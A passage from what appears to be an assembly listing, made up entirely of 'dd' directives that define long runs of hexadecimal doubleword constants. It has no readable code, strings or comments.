		dd 0FBE19AC2h, 0F7F4Ah,	16361B0Eh, 0AF902448h, 5F7A3112h
		dd 132D30F5h, 290003E8h, 0BF9A33ABh, 5AA6202Eh,	0E3E91227h
		dd 895E794Ch, 8D4B4DF6h, 458E203Eh, 3EA2105Bh, 0A0C1F6D6h
		dd 0BC6EC678h, 768C0201h, 627E0689h, 7B2A0BDCh,	0E30E71B7h
		dd 127B2529h, 86CB64B0h, 9819865h, 100BF413h, 3E901D78h
		dd 969CE89Fh, 1D8107BFh, 63505FB5h, 52ABBC16h, 0F985E1E7h
		dd 0DCB2B27h, 8061DA4Bh, 1B3EDB50h, 5BA80046h, 1DEB70Fh
		dd 6B9E699Dh, 0C9F96800h, 9BF902Ah, 4E3CA8CEh, 609FE70h
		dd 0FB6FF43Ah, 0F463713Ch, 9701B4FEh, 0B5892A6Ch, 9B6E0D3Dh
		dd 0C019C809h, 1FE1B16h, 0B78E0828h, 602A3409h,	12F1762Ch
		dd 82358850h, 520D2D02h, 5D8119AEh, 46D03892h, 0EC937B7h
		dd 4C636D21h, 0D8161FE2h, 89FB2C51h, 2A6425C7h,	0B2A0D1A7h
		dd 0EF133886h, 0E788F56Eh, 58E30076h, 77B49EB1h, 1DE0A178h
		dd 452E5598h, 384E212Eh, 180D386h, 516175C4h, 2DC99D89h
		dd 88F57965h, 923C112h,	0CA7C810Fh, 401EC50h, 0FD8765EEh
		dd 0B39DBC91h, 0A44258Bh, 582797C7h, 805CB70Ch,	0E9B518DCh
		dd 0BD891327h, 0B6A0EB96h, 9717A120h, 4A728F1Dh, 214D5D7Ah
		dd 84D123C0h, 9360E776h, 292440B5h, 114BC5EAh, 0C01066CEh
		dd 0DBA74B04h, 0D521F514h, 1E04A7F1h, 995E90CCh, 32A61F5Ah
		dd 1F3015F2h, 0F6F54A63h, 3315B24Dh, 9B7E89DAh,	0F8523F40h
		dd 0F7ADA024h, 13BA003Bh, 1E1B68Fh, 2341C985h, 0BAA3853Ah
		dd 806728h, 1EC87784h, 5C71C17Fh, 2B12A67Eh, 36F3B428h
		dd 296E4Ah, 0B27C78ECh,	1201E821h, 0BD047DBDh, 8504D389h
		dd 0B1172DD5h, 0EE043EEEh, 18F90AE0h, 0F3327CC1h, 47EDCCBEh
		dd 85D22C02h, 0B7E321CFh, 801A11CFh, 0E783DD74h, 25CCE654h
		dd 0DCEDDF8Bh, 0E9601764h, 9556878Dh, 0B35604A5h, 9AAE5B3Eh
		dd 0C016C8D4h, 33AAEF5h, 10A59D12h, 4D258BDh, 4168D28h
		dd 0EF3FE8Bh, 5528013Fh, 0A1BD2A0Eh, 700997C0h,	0B0AC89B7h
		dd 0C073AA80h, 97DC8A69h, 0FA7B9189h, 63C8DB70h, 0EF397402h
		dd 1069A412h, 0E462B3F7h, 1E44035Dh, 0B4CDFB4Bh, 0AD00847Fh
		dd 0F96F4B45h, 1E80E302h, 2DC23327h, 65958764h,	583D50C3h
		dd 38B3FB00h, 0B5853112h, 0E2C08223h, 0EE4081Eh, 0EED88B2Fh
		dd 606DAD3Dh, 6D84C67Eh, 0D1516809h, 7F144052h,	0C05B4B8Ah
		dd 50A6F45Bh, 1DAE495h,	0B3D0C713h, 6F1E4C7Fh, 0FE8211E9h
		dd 6BDC965Fh, 0D680766Bh, 0C5011D46h, 91CFF529h, 0DF86AF7h
		dd 81121948h, 4BDBF70Bh, 0E180AC9Bh, 63E76833h,	0C425A577h
		dd 2DF7E5A3h, 0DBD5CFC2h, 88007369h, 990DAA14h,	16364A90h
		dd 0E050F5A7h, 46B7DE12h, 0D4629C66h, 5D6242B5h, 189194B5h
		dd 0BDDFE780h, 4995D3C0h, 0A62BA9F4h, 311AB2C0h, 54A1F49Ch
		dd 0C710D502h, 0F0C98D89h, 0ADF395F0h, 9F10EEA5h, 0F7008035h
		dd 83E48F91h, 6CCA62DCh, 10D51225h, 9DBAAFABh, 71692114h
		dd 89BAB745h, 18D101BCh, 0F6D0BE23h, 25E6FC0Bh,	0B8FBC60Dh
		dd 0A6205DD2h, 45622B78h, 0EB81F600h, 31738861h, 947B7F8h
		dd 4012EDAFh, 0AA13672Fh, 0F84EBF00h, 66B73386h, 0F1D81CE9h
		dd 4EF665FFh, 266807DCh, 24DA8B9Ch, 0E092B6C1h,	13B2BEFh
		dd 60E73D4Eh, 70C9BF0Fh, 0A4081D7h, 0BD890961h,	165D2785h
		dd 0C13597FDh, 367ED401h, 589762F3h, 22F6B2A5h,	8850651Dh
		dd 4A37E284h, 24FAC312h, 802BA8F9h, 0C45CEFF6h,	0FF1D00AAh
		dd 7EF4AE47h, 760C2F56h, 3054A55Ah, 618D1401h, 91486111h
		dd 279AA94Eh, 0B74742FFh, 0B1D8AD44h, 0CE0B5E31h, 0AC051611h
		dd 8D7080EFh, 2D089628h, 1C75FF0Dh, 21D9868h, 905BB614h
		dd 245F3AB3h, 31400A8Fh, 0ECE74BA0h, 9B842403h,	0DD0F4AAAh
		dd 52C71140h, 36D94D0h,	58686EB8h, 0A09C5ABCh, 0E6A9FDBDh
		dd 40DB7F6Ah, 0C040DAC7h, 81F129Ch, 4FD98B25h, 0E29F40F6h
		dd 0B328FC40h, 0FE4EC1AEh, 8D7EC08Dh, 803B6826h, 2E4980E4h
		dd 59F417h, 0BBC302D3h,	0B0363D97h, 918A7C09h, 0B4ABD1A4h
		dd 5844FB48h, 7DE8D1FFh, 911F86A2h, 6ACD8117h, 0C76A2D14h
		dd 0DB02657Ch, 1C21C08Bh, 5C70E46Eh, 2E205E89h,	3B25DB81h
		dd 2608E4Ch, 0CABF0761h, 610B2DA0h, 0F615B966h,	81028F44h
		dd 87949CCBh, 0C6477425h, 2037112h, 0F3C8B28Dh,	5D1A04Ch
		dd 8387001Bh, 13C19111h, 0E925D39Ch, 0C2907978h, 2901F533h
		dd 6868BD9Dh, 5BF85107h, 830F1253h, 0A95F1887h,	8CA321D3h
		dd 1219C858h, 472568Bh,	0B2D6AA8Fh, 0C9E6005Fh,	32D2B3D5h
		dd 0C49400F9h, 22A780A2h, 0BF0ABB50h, 8C369D3Bh, 56EF13BEh
		dd 267D3CA6h, 0A56309B5h, 939521ECh, 217DD8DEh,	0AD720141h
		dd 0EA49F4AFh, 27363A47h, 85B15446h, 0FFF8FA6Ah, 0D7C241E5h
		dd 0A5009DBDh, 4B028BB5h, 44669DF9h, 0A90908A2h, 17502E5Ch
		dd 44558201h, 18A7B7Eh,	0DF25C916h, 3A1BB06Bh, 711C5C2h
		dd 0E940995Fh, 5582319Dh, 38D482E0h, 70FE120h, 7E88160h
		dd 8C475475h, 9500C7C3h, 6C80A1F8h, 0A5BA5Dh, 1926CFF4h
		dd 30917E89h, 61461F17h, 151337E7h, 7942A324h, 0D5FAF28Bh
		dd 0C9752C0Bh, 273AC855h, 0A1959331h, 2771EB4Ch, 101243F9h
		dd 4B103954h, 0DF8916C2h, 2B4E59DAh, 39695980h,	1CD1628Bh
		dd 0E9021F95h, 853E817Fh, 40C64C44h, 5F05B545h,	2C4A624h
		dd 0A9071F37h, 250F74F0h, 4C2CF690h, 580EB573h,	0FBE770h
		dd 0F87BC5F7h, 0E02CD357h, 164E1957h, 8BB016ECh, 0BEF7E9D8h
		dd 180990Fh, 343AF50Dh,	25B9AC24h, 11627B02h, 0D3811C1Fh
		dd 77B82B04h, 668116E9h, 600F45BBh, 8928DFE6h, 0B0977495h
		dd 826C0200h, 0BE2DA705h, 0F03CA8A5h, 5A5BEB80h, 0CF25D848h
		dd 17CEE6BAh, 0ED1005B9h, 779E803h, 5B4EF101h, 611F53DFh
		dd 0C8D85C0h, 41FC77A1h, 70E1DA2h, 70CCFB79h, 88A00596h
		dd 2B04BDF5h, 0E88A60C0h, 23193A82h, 0BF84BA61h, 69620970h
		dd 50AC012Ch, 6898037Fh, 6A0021D2h, 9A4BE3DBh, 0D2C68AABh
		dd 0E780DA04h, 57886FC2h, 0DB083D38h, 607E7601h, 0E6D7EF37h
		dd 0C8F59A2Bh, 655BC116h, 65342FA2h, 59F73840h,	9EEAE61h
		dd 16AAEF74h, 0DC7A7379h, 0C3AD42Fh, 1D4B9D7Ch,	41274CC1h
		dd 6E2F1AB3h, 0CBD6125Dh, 7A8887F2h, 25093392h,	56CBD11Bh
		dd 670195F8h, 49DD0A99h, 3160A7A1h, 0F4D39D37h,	2F3D1759h
		dd 71E56180h, 13B6E1FFh, 121702DCh, 53D73278h, 0D50835Eh
		dd 84758204h, 38AF051Eh, 0AD86153Fh, 0B4BB602Eh, 2FEDB792h
		dd 0E9B26828h, 0A03CE72Bh, 71D240h, 8CBFC48Fh, 3C62DB81h
		dd 0E70C3524h, 30FFD1B4h, 39E03745h, 9BACAFA0h,	0AB6F7207h
		dd 51319749h, 162FA4B2h, 0E10BE684h, 57A52A8h, 0FBE18008h
		dd 0EB00936Fh, 0D8B31B91h, 0AE97DAD0h, 9B5B9181h, 0AEA481D1h
		dd 6633633Bh, 5A966A00h, 55DD3E45h, 9FAFDE04h, 47AC8C1Ch
		dd 0ECE3FD4Ah, 27880437h, 0BC11540Dh, 0C781C0C7h, 868FE8Fh
		dd 0EE9502Fh, 0AB704C83h, 34B0E8E8h, 36A00226h,	0D4688AFDh
		dd 2D74C47Dh, 449302D9h, 0BF609A01h, 762C5A84h,	24E32Eh
		dd 0A36861F9h, 43DB7C5h
		dd 1E2E62BBh, 1E80AE73h, 0F9A8C65Ch, 82FB9B6Eh,	0DFE091CEh
		dd 8E729D9Bh, 0DD8DDF4Ah, 1321F62Ah, 47DE01D1h,	0D7640583h
		dd 0E3BFC198h, 0CDAB732Ch, 9287C915h, 0C44ABAB3h, 5870EE92h
		dd 0AAD3A1h, 8DBAF552h,	0D97379DAh, 0C204271Dh,	0EDAD7845h
		dd 0B3A9AD84h, 12795B2Dh, 64580154h, 0B92D76F8h, 0E2C72E44h
		dd 0A0C97309h, 0B512D96h, 70AB0C79h, 27D5458h, 9D23315Eh
		dd 0CD770FE5h, 45400044h, 94E482ECh, 993195F8h,	4467D26h
		dd 31F05C76h, 0CD031675h, 618EBE17h, 40EE7DD5h,	2BED0B0Ah
		dd 5682B356h, 0B055D8FEh, 0E2AD5AC3h, 46C09CE3h, 126CBF66h
		dd 82260968h, 0F8687F34h, 0F838CBB9h, 7A8B4031h, 746E92CEh
		dd 7F2B2DD9h, 3EC0DBEDh, 74E61765h, 144731AEh, 7B812182h
		dd 0BCB3DE12h, 45389D4Ch, 902A884Ah, 71409194h,	259D7EDDh
		dd 41C4503Ch, 9A542007h, 0F5C0E243h, 4B811804h,	4F89BDACh
		dd 0D2E318B6h, 61E00FE8h, 3F87B704h, 0C4993E5Bh, 2B875228h
		dd 421E9078h, 0B000A9C7h, 0D327FE49h, 401DC50h,	0D1C4D97Eh
		dd 0B944A961h, 93008C4h, 3AD780ACh, 0DFC47971h,	56290A92h
		dd 6A2E71A6h, 0C7005E7Bh, 66541A94h, 2139E1BBh,	92160E9h
		dd 9728159Dh, 0F0D27C1Dh, 0DE0C5F7Dh, 98BB8971h, 0E2C97Dh
		dd 0AE147D7Ah, 15B882Bh, 2CD34301h, 0E366E0DEh,	95F082EAh
		dd 788D5C69h, 3DB504A9h, 0B590016Ah, 3CF46208h,	0BF1B80BBh
		dd 7AECDDh, 9D2EAF27h, 0B87D3ACh, 722CE704h, 128B12EAh
		dd 0EB886535h, 28E1CFE6h, 4D917084h, 7B0F7012h,	0FAC963A9h
		dd 0A0AC9E71h, 90844113h, 1AAC55ADh, 0D195008Ch, 1E61A9A6h
		dd 5B5A56D6h, 6A5EDBE7h, 0CDB0754h, 0CBFE3913h,	59647F80h
		dd 16CD8495h, 0E6719609h, 80902E0Fh, 7FB769EFh,	0E4900A0h
		dd 0B3713B04h, 50275B0Ch, 0C0946D96h, 80345AEFh, 905A7971h
		dd 10291820h, 0B94400CBh, 28F4F0CDh, 1597A737h,	1B5640A7h
		dd 2F095B3Eh, 73F9E525h, 0D621A4A6h, 0BC1E4701h, 0F99D0340h
		dd 0EC2BA164h, 22349F1h, 248C15E8h, 16EEF310h, 0E9EAC835h
		dd 0A6BC1D4Ah, 150681A1h, 23CE09ABh, 81ABBF73h,	0A1617179h
		dd 400DC420h, 294BB41Bh, 7C94CDBDh, 0E602CD12h,	3015A2D8h
		dd 90C5FD4h, 0E3333985h, 2F492D9Dh, 0D326587Bh,	31BF00D6h
		dd 279F806Ah, 7B95C07Ah, 43B5AF8Eh, 93AB4902h, 7E4E77FCh
		dd 878C5B3h, 0FAC52F94h, 0AE06DE84h, 57E1E0CAh,	0A4FFF0F1h
		dd 2B6BD809h, 92B21817h, 0A5438D0h, 0D1C36081h,	3E9EFAA4h
		dd 0EAA701C3h, 52F35C8Ah, 3D60374Dh, 73B0CDF9h,	5EDC67EDh
		dd 0F643FCBh, 0D9AAB58Dh, 0CB716C8Ah, 0DEFB9281h, 0DB7C43D2h
		dd 20922600h, 0BD2DB2D0h, 62450316h, 0A4892F8Fh, 2A6F99D1h
		dd 0C3828195h, 2555F6F1h, 9D7716Ah, 0A5FB5302h,	0BB60E068h
		dd 56FD690Ch, 25C43E73h, 0C7C561A2h, 41FD5B16h,	9A0067ECh
		dd 0CC4D7454h, 0D58E496h, 5C99531h, 0D0733FF3h,	8DBCC6DFh
		dd 0C7986737h, 92B1F02Ch, 0AF524F71h, 0F7801D7Fh, 9DB3CE65h
		dd 9019BB5h, 0D91F29EFh, 12B9CC89h, 3BA65F14h, 0AA2D6100h
		dd 0F05199ECh, 0CD512A8h, 5ABFE3C5h, 456989ACh,	54459859h
		dd 0ADECCAE9h, 0D1607C25h, 8572035Dh, 0D909CAFh, 300844Ch
		dd 71EF014Fh, 79F18B02h, 0BEB57E59h, 0E3611252h, 895709B6h
		dd 82D0569Dh, 0B1B5295Fh, 79C68169h, 7BCF4AC9h,	486A4Fh
		dd 2A6AA34Fh, 0EBE95034h, 0B6B4C46Bh, 0D13CE032h, 25D9FCEFh
		dd 80D6FFF5h, 0C934068Eh, 70FCDBC1h, 0F65FEFF0h, 6DACE1C4h
		dd 902302DEh, 0E7466051h, 0C52E4700h, 0C413C97Ch, 1BBA0073h
		dd 0B5073B02h, 3F0483F5h, 595BE367h, 5FD7C0FBh,	8525B350h
		dd 57C490h, 0B60ECBC2h,	0FC63F092h, 3205BE00h, 684EAC02h
		dd 6A712738h, 0B5DE82FCh, 64A5C659h, 6534000Ch,	6237FDE5h
		dd 502FCD19h, 40664F36h, 65E419EBh, 765538h, 5DBB97D8h
		dd 0A036CCB3h, 5F054DA0h, 0C2FE9B3Ah, 5CF862AAh, 60E52CC7h
		dd 0DE89B9C8h, 1DE0BB00h, 62F880ADh, 5B1F2D04h,	61A58F5Eh
		dd 6F6F6A23h, 86F5009Bh, 3A5480F9h, 0FB192698h,	4B508EAh
		dd 719D3305h, 1C6D90F5h, 1D1C32BCh, 1342B8F7h, 0DFBE6685h
		dd 283CD3D1h, 1D5EB081h, 244235BBh, 548D00C1h, 0A6AB5692h
		dd 29FB1305h, 33D29D95h, 0EFED555Fh, 98621464h,	9C718F5h
		dd 1EED209Dh, 37D1FF2Fh, 0C7200F1h, 69883918h, 8C05AA70h
		dd 16959D23h, 38A08EAEh, 4CFD4BE1h, 9C0450E8h, 26A4E7Eh
		dd 1846EAFh, 1FE0EDD5h,	96C5CA76h, 639202Eh, 500E6E10h
		dd 80B568A1h, 0AC6B7BCEh, 88904F01h, 0CA0206F7h, 4EBD957Ah
		dd 13B2DCCFh, 0D7065DD8h, 3F0D70Fh, 90E201B6h, 0C0E56D5Dh
		dd 7C5A27BFh, 0E5799404h, 0BE848999h, 8062B3F1h, 0A02BA693h
		dd 2F1E5F50h, 0C6FA9D8Bh, 1140B296h, 0F93F90Bh,	91C19F0Ah
		dd 0B0039703h, 6023DB90h, 0F51C6202h, 5E3CE95Bh, 34577124h
		dd 0BD120312h, 10D322DDh, 0BEED8539h, 0E203A980h, 8D00DC7Ch
		dd 4EC0625Ch, 0B8519434h, 0C0C5B139h, 6780F381h, 0EE38A625h
		dd 0D4639441h, 50FB9C17h, 8E9ECF61h, 0DE56B405h, 0B52C8997h
		dd 801B1193h, 0D3D977CBh, 0EC910B82h, 0C304522Eh, 4E4DBC5Bh
		dd 0EAF896A9h, 65097EBDh, 2667E286h, 95399CDAh,	29C1FF6Ah
		dd 0F10BC71Bh, 69899032h, 0F819C90Ah, 7113E7Bh,	0B0750A5Ah
		dd 447A2505h, 62618120h, 2A655453h, 4BD5F04h, 0FC3FE721h
		dd 594213BCh, 42085E11h, 70200BE9h, 1C95355h, 7893E758h
		dd 3BEA084Dh, 8D21BCA3h, 0CD88291Dh, 0B684A2Ch,	745E0FD1h
		dd 0E936D04Bh, 0B823242Fh, 0DB81041Dh, 1EBD05EAh, 20C12D38h
		dd 4D0FA3D1h, 0BBE93670h, 42EFD869h, 4CC02F84h,	50854FC8h
		dd 475555EEh, 2FD22BB1h, 0C268C9Dh, 0EC0D5A31h,	20FED235h
		dd 0DA3EBB3Ah, 10A8E74Eh, 21E9DE25h, 0C1A2151Bh, 31D20F70h
		dd 404EDDA7h, 39D86510h, 1183A150h, 0E35A1BA1h,	0ADB50990h
		dd 0C02E790Dh, 0D09DBFBBh, 2DD97C4Bh, 0A295EE70h, 7DDC026Fh
		dd 0CA45771Bh, 5E7C070Bh, 2800F492h, 9094953Bh,	5E86AA3Fh
		dd 35EB31E0h, 92C2C6F6h, 789853F7h, 49127420h, 2E24820Fh
		dd 82F7D792h, 422B9F9h,	887ABD61h, 0AE2AB5A7h, 0DBEB8D94h
		dd 0D6B38023h, 0B6ECD9h, 535007F0h, 0E9BCC781h,	5F159013h
		dd 0F4C18330h, 280801CBh, 0CC32D78Bh, 0FD56C88Dh, 6DDA90BFh
		dd 836200F1h, 328CFA42h, 0B5EC74E3h, 0BF002CF0h, 1EA8F3E4h
		dd 3131FC5Fh, 2BD1998Dh, 536E3BC0h, 0BD8FE001h,	3F54FDB0h
		dd 25233008h, 0FBF7A5CAh, 0A2F47038h, 955ED07Fh, 0EB08A135h
		dd 0BBF99301h, 88090768h, 0F60069FCh, 57C56BF2h, 260BE3EEh
		dd 2F066D9Dh, 11781253h, 3B592D01h, 79AFC079h, 0CE89AF5Dh
		dd 4D97A972h, 85F4E0AAh, 46B5A1B1h, 1BBF04E8h, 0BC515C75h
		dd 5F20ADC5h, 177A2DD7h, 0EEC01FEDh, 2A32FDh, 0AD6136ACh
		dd 9529259Ch, 0D10F1125h, 0A79EC539h, 537EB1D4h, 20B529D0h
		dd 5F4B0CB9h, 1352D1C8h, 49FDBD31h, 0B27B5B9Ah,	2A181959h
		dd 73342B05h, 0DA0572AAh, 0BFFDE1FFh, 5039CB8h,	93BB7F78h
		dd 15A6258Bh, 1BC0F6F4h, 30C6Bh, 6705B597h, 0F3A68B49h
		dd 0D8845225h, 959D922Ah, 168E59E5h, 67ED1304h,	3D5963BCh
		dd 0F3E29237h, 0E704D69Ch, 5E33B067h, 54509FEFh, 2D8E6EE1h
		dd 8AC49922h, 60092F95h, 58DC0AF4h, 0C52D3C13h,	0D98C4FE8h
		dd 0BB0448B8h, 1E226AD8h
		dd 2E4A7BBAh, 9B095736h, 5DC27ACDh, 0AF9E9FBh, 9D890BFDh
		dd 5321748Dh, 2875D412h, 0E0D667E9h, 1E61FFBFh,	50DB2B98h
		dd 0B8D77D0h, 4891512h,	0AA787ED3h, 667A2D2Fh, 1EBFE168h
		dd 2D11212h, 52A24BE8h,	0D7D74CAh, 882E4FC4h, 7F4C6C67h
		dd 59B0F0Ah, 1AB0A0CDh,	1C60EA78h, 2D8BA2E3h, 0BC002779h
		dd 422C9ADh, 0C989E25Fh, 0A57B584Dh, 23B1346h, 0AB657A3Ah
		dd 0C55DA10Fh, 0D08B81D5h, 65ABE9B7h, 0B8E16D11h, 0BD755AB6h
		dd 0B3E59299h, 0C032DB2Bh, 57A862F4h, 0A47F0B9Bh, 6902B858h
		dd 8E251681h, 6F1E4113h, 40F89622h, 405E2A34h, 0E23F9802h
		dd 5E5B92A0h, 1A7069F8h, 0DECC484Bh, 5DA54CBBh,	51CC5731h
		dd 0C1702F0Ch, 3B1BB66h, 60068993h, 2A5B0BB4h, 0B23B5EB5h
		dd 11DA9362h, 51FB4680h, 0F00372E2h, 0BBEB4883h, 1B09990Bh
		dd 80BC132Fh, 50105F75h, 0B6FEE69Dh, 0BF5B2F1Ah, 834370h
		dd 73D6BD6Dh, 5FA3324Ch, 3341DAC4h, 60C4B9BDh, 0DD21ACF8h
		dd 35A28297h, 878B6801h, 9266E027h, 72BC95BAh, 0F77C7404h
		dd 2BDA21Fh, 71522E0Ah,	3D56D10Fh, 0F1120600h, 0CCC0F0B9h
		dd 0B12EBB04h, 0E8BC5C94h, 5F253643h, 0BB00B5E6h, 16EB4256h
		dd 0F2BF5150h, 683C1677h, 6B728D5Bh, 0DBA814A2h, 0B51F51B0h
		dd 0F1E58726h, 0DA3D3F24h, 0FF7CA80h, 5FF87E3Dh, 991382A0h
		dd 736E614Ah, 0EE971600h, 7D5FC523h, 0F7FEA750h, 52C1F005h
		dd 2BEDB589h, 62745B27h, 50037B7Ah, 0D02834AAh,	0C9B0B9E6h
		dd 0F035120h, 161F78Ah,	78125929h, 3F51BC56h, 16111FC2h
		dd 0C1F71C80h, 0DA9C37E9h, 0EDE65AF6h, 0D897AF18h, 981F9CAFh
		dd 0A64B66DBh, 0BDFD82C6h, 91020906h, 5BF41255h, 6A9D34C0h
		dd 9FE70004h, 6E384FC4h, 720F2BE8h, 0C9BA805Fh,	46E4795Bh
		dd 74BF96DDh, 5C73DC83h, 0FEBFDD02h, 4546379Ch,	53AD9A14h
		dd 2FDA79F5h, 11C2DEF9h, 0F23D5D2Eh, 9D6D6300h,	957D67E9h
		dd 0F9128B7Bh, 0B64BACF7h, 3F19A077h, 0C31B97BDh, 9DD0D3A8h
		dd 4454C42Dh, 0D2853C21h, 0F2A75080h, 0BD8207B2h, 96874513h
		dd 3FBB4288h, 6F80AA33h, 5673206Bh, 6DFE2ACAh, 5ABC3800h
		dd 0E80BBA83h, 0C566FA50h, 91965FC0h, 4A6A8407h, 7BDB259Fh
		dd 181A591Bh, 452D028Ah, 67993A37h, 91F9B5D7h, 0BB029F18h
		dd 0F91A63A6h, 0DA4A01EAh, 0D0178970h, 0D501FF3Bh, 3CE9B009h
		dd 0C4D7C5AAh, 0A99679BDh, 0D9E3826Dh, 0AB785EF8h, 3D3D859h
		dd 8D898C05h, 8DAB12A1h, 5B532C55h, 0EBA56DF7h,	844BE9A3h
		dd 7479AC94h, 0C6719297h, 63775Dh, 5EF6ED3Bh, 81BA1F74h
		dd 823DDB02h, 5E5F4A57h, 0F5486C63h, 242E2D45h,	0FF76F4Ah
		dd 82DC85E1h, 0D5092CF4h, 0F240EC6Fh, 17CBFE05h, 0BEE6D53Ah
		dd 1166C8h, 129B8C99h, 84B8F374h, 0D74E3097h, 0EBC0BC15h
		dd 82A0B55Fh, 4F8B2053h, 0D01E3EA7h, 7CDACEC1h,	97BC145Ah
		dd 0F8870F13h, 948BDF1Bh, 2C89D650h, 0A5B25A6h,	8A65F47Ah
		dd 417091ABh, 0CE95BD01h, 8023B857h, 0CA714BF3h, 9725223Bh
		dd 89242DC2h, 769D8C50h, 5A0093F0h, 0E63C4590h,	3F32575h
		dd 2013E51Bh, 0C917674Bh, 47165356h, 1E94C7B9h,	0A5EE912Ch
		dd 19608CEh, 9DE250D4h,	6997BDh, 151315Bh, 49D6ACABh, 115C603Ch
		dd 71352425h, 0C13549C1h, 0D4024A85h, 1DC17D81h, 6720382Fh
		dd 9C7A6FE1h, 0B6E4D400h, 4E27B318h, 0B9C9D2C4h, 0A8D60BBCh
		dd 368880CDh, 1EE5015h,	0EC8C7CBFh, 2BC65B6Dh, 2381F79Eh
		dd 688D0FC4h, 6E4E8167h, 2D2F627Ah, 0E9B16A33h,	0B0E9EA11h
		dd 8918072Fh, 0A3292B85h, 0D11B5156h, 5A05BA2Ah, 4B29B85Ch
		dd 247AF58Dh, 26595934h, 187EC1Fh, 5A7E10F6h, 2B506F1Dh
		dd 80F94388h, 8F1B81BBh, 90E3EF8h, 3A142F70h, 0BD12423Dh
		dd 0D76221F8h, 0D6FA8A0Fh, 4C876AEBh, 404922DCh, 0E9229030h
		dd 28840008h, 0EC796D27h, 505F5D56h, 3E34E388h,	0CC3C4FB8h
		dd 33908C82h, 925DCDBDh, 910A8301h, 6FABB421h, 5D95286h
		dd 16B59D8Bh, 36AA2DAFh, 0A8A2B76Ah, 0FDF139h, 0F7625DE4h
		dd 292C7C37h, 54491D8Dh, 825E2FBh, 25BB6610h, 36C54553h
		dd 81008D11h, 5AA387CFh, 24E6A46h, 1680759Bh, 56E10FEBh
		dd 0B531E7B0h, 5250FB69h, 4B51E558h, 56C9E95Bh,	9DBDF3A9h
		dd 0E65E328Ah, 0DA12A08Bh, 0DDAD1428h, 6D279A02h, 0D7004B79h
		dd 0E9F97506h, 0D279B55Bh, 748539C4h, 0F80A39Eh, 259342B2h
		dd 8195891Dh, 0FC6C25h,	7E6914B6h, 37DE371h, 19419604h
		dd 0EAAC1B62h, 242DBCD6h, 61175FBh, 4EF26B01h, 0FE3FE696h
		dd 3ADC0674h, 6800BEA2h, 5A2A1807h, 814E0F21h, 4884F8A2h
		dd 891A8091h, 0B5019C1Dh, 6CE8597Ch, 342E8805h,	17DBFE0Bh
		dd 0BCE094C0h, 20FDF922h, 0E654CCD9h, 604B92CFh, 0F97F0E99h
		dd 85DA9C4h, 125F463Ah,	0F73D6634h, 190D4811h, 0FF5904ADh
		dd 0B00A3374h, 331D2588h, 9F0076D3h, 36F1D905h,	0E7A4009Ch
		dd 283321FFh, 3C052E0Ch, 8864E881h, 5180D0F8h, 95A8B042h
		dd 4504E37Fh, 3572B953h, 0A462380h, 3731975Bh, 8A76B33h
		dd 0F6BCC02h, 80D70461h, 0E63BCF88h, 0C4606170h, 2FCC4EC6h
		dd 4200B9A2h, 459CCD2Dh, 0A0393940h, 0C6D0143h,	0BCD9C67Dh
		dd 0C152A02Bh, 5B80584Bh, 258197BBh, 58C9367Eh,	628C15F2h
		dd 664007ACh, 40B54E43h, 19A9CE6Eh, 8E59BA02h, 0D72872CAh
		dd 0F381A1A0h, 6FCC6F2h, 2EE3B895h, 0A5180D68h,	2A82F8AAh
		dd 97126CE0h, 61565611h, 3C927B83h, 0CAC8555Bh,	0CBA0D88Bh
		dd 2B1274AAh, 0ADC751C8h, 0C7C2D1C4h, 11AE72D5h, 22305D85h
		dd 3803B08Eh, 44254E49h, 5803E590h, 0DAD3D100h,	3C61978Fh
		dd 0BAE00062h, 0E3BD284Ah, 0A8273DE9h, 0B186638h, 0D2D9D03h
		dd 8D2A185Dh, 43324301h, 0C9821DFDh, 0CE18EBC0h, 16FCF33h
		dd 0FD345D2Eh, 2E3BBDB0h, 0B00A7848h, 32E9FAE8h, 3ADA5CA1h
		dd 218835F3h, 9D8595BBh, 0F0C44E97h, 298365ADh,	0B1486D85h
		dd 70834343h, 25B58D88h, 6D55927Eh, 0F01DE331h,	0B65FB8F8h
		dd 0B020CCBDh, 2964B5F8h, 0CE9B54Eh, 0AE6A6112h, 46604D6Fh
		dd 36F52603h, 58967809h, 5F02502Ah, 0AA29BA0Dh,	11A8052Dh
		dd 0EA02B807h, 76599B42h, 0B9403C57h, 0D57B0B95h, 179F30B7h
		dd 6747A6DDh, 3996080h,	0D003E197h, 0BE958B58h,	0E161929Eh
		dd 7A40C6BAh, 91956D9Fh, 0B12A0116h, 44612B08h,	0E73AD98Bh
		dd 301DF2BDh, 61074CD8h, 0D357D0EBh, 0BB4E5F00h, 0DAC63B56h
		dd 0DBBCEA59h, 47B2CF5Ah, 2A4D9200h, 8A47AB3Dh,	9356CA14h
		dd 45A79E5h, 84D062E9h,	0EF502813h, 775DF96Bh, 0F9C71280h
		dd 0EB250A17h, 0F66C683h, 3771DF81h, 42715CC9h,	0DDFD825Ah
		dd 0BF53042Ch, 0DD5FB20Bh, 0B795B534h, 0AB490A1Dh, 84FD2F8Bh
		dd 0C3EDB87Ah, 4A0036F8h, 0DF5F57FCh, 0EF501525h, 4EB1D7DAh
		dd 0ABBD1005h, 0C3F81EC7h, 9A7781BFh, 30E1FF7Eh, 65F68053h
		dd 0B7E99495h, 4D7DDA42h, 7383E00Bh, 0F60999CBh, 597ECAA2h
		dd 3F8044E9h, 31001A23h, 0A43C2397h, 0BFC20287h, 3E680E46h
		dd 5652EB56h, 8D298B4Dh, 602425F5h, 5376EEEh, 0BC5B35CFh
		dd 8056C0ABh, 6058EC6Dh, 88E54E4Bh, 49BA2645h, 0FC5A61B0h
		dd 6A2386A1h, 9A4BFBF6h, 0FD3980B7h, 342B6223h,	0E8E5319Dh
		dd 9BB912FFh, 415B05E4h, 1EC86F01h, 48AD0F95h, 0F9AEB165h
		dd 7F1A4120h, 0F016F2EDh, 95E85003h, 0AE5F5BC4h, 1C23B46Bh
		dd 3E4BC900h
		dd 12161D8Bh, 0AFD460E5h, 56E61975h, 19D9DDA0h,	203F60BFh
		dd 8C5B5F6Ah, 0F27FAC67h, 58317D00h, 0A096F0BFh, 20505A06h
		dd 0EDDBB549h, 102FBF8h, 0BB82CDE3h, 80C5B790h,	0B126B7CAh
		dd 555E9D89h, 0E7819820h, 0D1AF0317h, 1821684Bh, 565154B8h
		dd 155ACA2h, 81BDE85h, 897A09EDh, 34D60FBh, 6509D58Ah
		dd 46D6B7FEh, 7CA12717h, 0E3813F7Eh, 1AF7464Ah,	51DA6A89h
		dd 0B4C01688h, 38E976BBh, 0AD5E01ADh, 0BF22BC58h, 33412456h
		dd 392EA59Dh, 7D6A3A65h, 2AE0F205h, 0DEB2EF72h,	0FFBE6000h
